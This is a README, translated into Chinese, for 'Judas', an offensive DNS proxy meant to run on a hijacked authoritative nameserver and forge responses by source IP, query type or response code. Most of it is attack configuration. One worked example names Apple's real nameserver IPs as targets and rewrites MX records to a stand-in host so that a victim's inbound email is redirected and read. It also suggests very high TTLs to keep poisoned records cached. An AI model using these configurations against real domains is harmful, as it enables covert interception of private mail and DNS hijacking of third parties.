,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
Nameserver DNS poisoning attacks made easy
一个DNS代理服务器,旨在部署在被接管的名字服务器位置,以执行定向利用。Judas通过将所有DNS查询代理到域名的合法名字服务器来工作。其神奇之处在于Judas的规则配置,允许你根据源IP或DNS查询类型更改DNS响应。这使得攻击者能够配置一个恶意名字服务器,执行诸如根据特定源IP范围选择性重定向入站电子邮件(通过修改MX记录)、设置极长的TTL以保持中毒记录缓存等操作。
有关接管名字服务器和劫持DNS的更多信息,请参阅以下博客文章:"尊重我的权威——劫持有缺陷的名字服务器以入侵你的目标"。
以下是一个Judas的配置示例,针对攻击者已入侵/接管了Apple的一个权威名字服务器(针对apple.com)的示例场景:
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "秘密重定向所有来自127.0.0.1的电子邮件!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "强制所有响应返回NOERROR,即使它们已失败。",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
上述配置值的用途如下:
version:配置文件的格式版本(目前始终为1.0.0)。port:Judas应运行的端口。dns_query_timeout:在放弃等待上游目标名字服务器回复之前等待的毫秒数。target_nameservers:目标域名的合法名字服务器,Judas将代表所有请求客户端将DNS查询发送到此处。rules:一系列规则,包含匹配时要应用的DNS响应修改。
name:给定规则的名称。query_type_matches:要匹配的查询类型列表,例如CNAME、A等。也可以使用通配符(*)匹配任何查询类型。ip_range_matches:要匹配的IP范围列表,用于选择性伪造对特定IP范围的响应。modifications:请参阅本README的“修改”部分。Judas的规则包含一个modifications规范,它是一系列要应用于DNS响应(在返回给客户端之前)的修改列表。重要的是,你应阅读node-dns文档以理解DNS响应结构,从而能够修改它。
一个DNS响应格式示例如下:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...为简洁起见已修剪...
}
(有关DNS响应数据结构的更多信息,请参见此文档。)
编写修改非常简单,以下是一个带有修改的规则示例:
{
"name": "强制所有响应返回NOERROR,即使它们已失败。",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
上述规则匹配任何查询类型(由于通配符*),并将DNS响应的header.rcode值设置为0。设置为修改元素的任何对象都会合并到DNS响应中——替换原先设置的值。
另一个示例如下:
{
"name": "秘密重定向所有来自127.0.0.1的电子邮件!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
上述规则匹配来自127.0.0.1的任何MX查询。DNS响应答案被覆盖为单个指向hacktheplace.localhost的MX记录。实际实现中,这将用于重定向来自特定IP的入站电子邮件,以读取目标的私人邮件。此外,在真实场景中,攻击者可能还会选择修改响应TTL为一个非常高的值,以使其恶意记录尽可能长时间地保留在客户端DNS缓存中。
以下规则将匹配客户端的IP地址:
{
"name": "强制所有来自localhost(127.0.0.1)的响应返回NOERROR。",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
ip_range_matches字段设置为一个IP范围数组,指定要应用响应修改的目标范围。省略此字段相当于通配符,将匹配所有客户端IP地址。
以下规则将匹配MX和CNAME查询类型,并相应地应用响应修改:
{
"name": "强制所有响应返回NOERROR,即使它们已失败。",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
query_type_matches字段设置为一个要匹配的查询类型数组。省略此字段相当于通配符,将匹配所有查询类型。
以下规则将匹配NXDOMAIN响应码,并相应地应用响应修改:
{
"name": "强制所有来自localhost(127.0.0.1)的响应返回NOERROR。",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
response_code_matches字段设置为一个要匹配的响应码数组。省略此字段相当于通配符,将匹配所有RCODE类型。